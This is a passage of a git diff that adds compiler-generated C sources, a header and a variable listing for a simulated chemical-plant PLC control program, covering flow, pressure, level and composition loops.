LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; 